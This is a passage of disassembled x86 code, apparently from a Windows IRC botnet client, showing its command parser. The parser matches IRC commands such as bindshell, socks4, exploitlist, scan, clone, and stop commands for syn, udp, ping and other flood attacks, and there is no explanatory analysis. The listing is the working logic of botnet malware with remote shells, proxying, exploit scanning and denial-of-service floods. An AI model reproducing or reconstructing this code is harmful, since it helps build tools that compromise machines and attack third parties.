		mov	[ebp+var_88], eax


loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------


loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]


loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_4321EC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4D06D8
		mov	eax, dword ptr loc_42915F+1[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_4321D0
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_4321C8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_4321B0
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7852j
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_432174
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_432130


loc_40240A:				; CODE XREF: sub_401ACD+7E29j
					; sub_401ACD+7E90j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_432108
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset byte_415C59
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_402524


loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 2680E26h
		nop
		jmp	short loc_40250E
; ---------------------------------------------------------------------------


loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		call	near ptr 2690A97h
		nop
		push	eax
		push	offset unk_4320D0
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_4320A0
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_43206C
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94


loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aK	; "k"
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		push	[ebp+arg_8]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BD
		push	[ebp+var_8C]
		push	offset dword_432240
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854


loc_4025BD:				; CODE XREF: sub_401ACD+AD4j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409854
		xor	edi, edi
		cmp	dword_42AE54, ebx
		jle	loc_402772
		mov	[ebp+arg_20], offset dword_4429E0


loc_4025DB:				; CODE XREF: sub_401ACD+B2Dj
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402601
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_42AE54
		jl	short loc_4025DB
		jmp	loc_402772
; ---------------------------------------------------------------------------


loc_402601:				; CODE XREF: sub_401ACD+B1Dj
		push	offset asc_432340 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_4429F8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_402656:				; CODE XREF: sub_401ACD+C3Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C2
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C2
		lea	eax, dword_4429E0[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FD
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FD
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch
		jmp	short loc_4026FD
; ---------------------------------------------------------------------------


loc_4026C2:				; CODE XREF: sub_401ACD+BB1j
					; sub_401ACD+BB8j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FD
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 18h


loc_4026FD:				; CODE XREF: sub_401ACD+BCAj
					; sub_401ACD+BDEj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402656
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40271A:				; CODE XREF: sub_401ACD+C99j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275D
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275D
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch


loc_40275D:				; CODE XREF: sub_401ACD+C75j
					; sub_401ACD+C7Bj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271A
		mov	[ebp+var_2C8], 1


loc_402772:				; CODE XREF: sub_401ACD+B01j
					; sub_401ACD+B2Fj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278B
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297C


loc_40278B:				; CODE XREF: sub_401ACD+CB0j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEE
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEE
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEE
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEE
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEE
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h


loc_4027FD:				; CODE XREF: sub_401ACD+E28j
		test	eax, eax
		jz	loc_4028FA
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_432028 ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_402849
		cmp	[ebp+var_A0], 39h
		jle	short loc_40285F


loc_402849:				; CODE XREF: sub_401ACD+D71j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_40285F:				; CODE XREF: sub_401ACD+D7Aj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402885
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402899
; ---------------------------------------------------------------------------


loc_402885:				; CODE XREF: sub_401ACD+DA1j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_402899:				; CODE XREF: sub_401ACD+DB6j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FD
; ---------------------------------------------------------------------------


loc_4028FA:				; CODE XREF: sub_401ACD+D32j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_43233C ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40294A:				; CODE XREF: sub_401ACD+E92j
		push	offset asc_43233C ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294A
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx


loc_40297C:				; CODE XREF: sub_401ACD+CB8j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B40
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_431F84


loc_402B24:				; CODE XREF: sub_401ACD+10C1j
					; sub_401ACD+10E7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B384
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402B40:				; CODE XREF: sub_401ACD+1042j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B90
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_431F5C
		jmp	short loc_402B24
; ---------------------------------------------------------------------------


loc_402B90:				; CODE XREF: sub_401ACD+10ACj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB9
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_431F40
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402BB9:				; CODE XREF: sub_401ACD+10D2j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE2
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_431F24
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402BE2:				; CODE XREF: sub_401ACD+10FBj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0B
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_431F10
		push	offset dword_431F04
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C0B:				; CODE XREF: sub_401ACD+1124j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C34
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_431EE4
		push	offset dword_431ED4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C34:				; CODE XREF: sub_401ACD+114Dj
		push	edi
		push	offset dword_431EC8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5D
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_431EBC
		push	offset dword_431EB0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C5D:				; CODE XREF: sub_401ACD+1176j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C86
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_431E9C
		push	offset dword_431E90
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C86:				; CODE XREF: sub_401ACD+119Fj
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CAF
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_431E74
		push	offset dword_431E64
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402CAF:				; CODE XREF: sub_401ACD+11C8j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD8
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_431E48
		push	offset dword_431E38
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402CD8:				; CODE XREF: sub_401ACD+11F1j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D01
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_431E20
		push	offset dword_431E14
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402D01:				; CODE XREF: sub_401ACD+121Aj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E57
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_431EBC
		push	offset dword_431EB0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	0Eh
		push	offset dword_431E9C
		push	offset dword_431E90
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_431DFC
		push	offset dword_431DF0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	16h
		push	offset dword_431DE4
		push	offset dword_431DD8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_431E48
		push	offset dword_431E38
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	12h
		push	offset dword_431E20
		push	offset dword_431E14
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_431DC8
		push	offset dword_431DB8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	13h
		push	offset dword_431DA8
		push	offset dword_431D98
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_431E74
		push	offset dword_431E64
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	ebx
		push	[ebp+var_4]
		push	offset unk_431D64
		push	[ebp+var_88]
		push	edi
		call	sub_409A72
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402E57:				; CODE XREF: sub_401ACD+1243j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E80
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_431DC8
		push	offset dword_431DB8
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402E80:				; CODE XREF: sub_401ACD+1399j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA9
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_431DA8
		push	offset dword_431D98
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402EA9:				; CODE XREF: sub_401ACD+13C2j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED2
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_431DFC
		push	offset dword_431DF0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402ED2:				; CODE XREF: sub_401ACD+13EBj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFB
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_431DE4
		push	offset dword_431DD8
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402EFB:				; CODE XREF: sub_401ACD+1414j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F24
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_431D1C
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402F24:				; CODE XREF: sub_401ACD+143Dj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA1
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_431CCC
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FA1:				; CODE XREF: sub_401ACD+14BAj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCA
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_431CA8
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FCA:				; CODE XREF: sub_401ACD+14E3j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF3
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_431C88
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FF3:				; CODE XREF: sub_401ACD+150Cj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031BF
		call	sub_418337
		test	eax, eax
		mov	eax, offset unk_431BC4
		jnz	short loc_403191
		mov	eax, offset unk_431B9C


loc_403191:				; CODE XREF: sub_401ACD+16BDj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 1Ch
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_4031BF:				; CODE XREF: sub_401ACD+16AFj
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aAl	; "al"
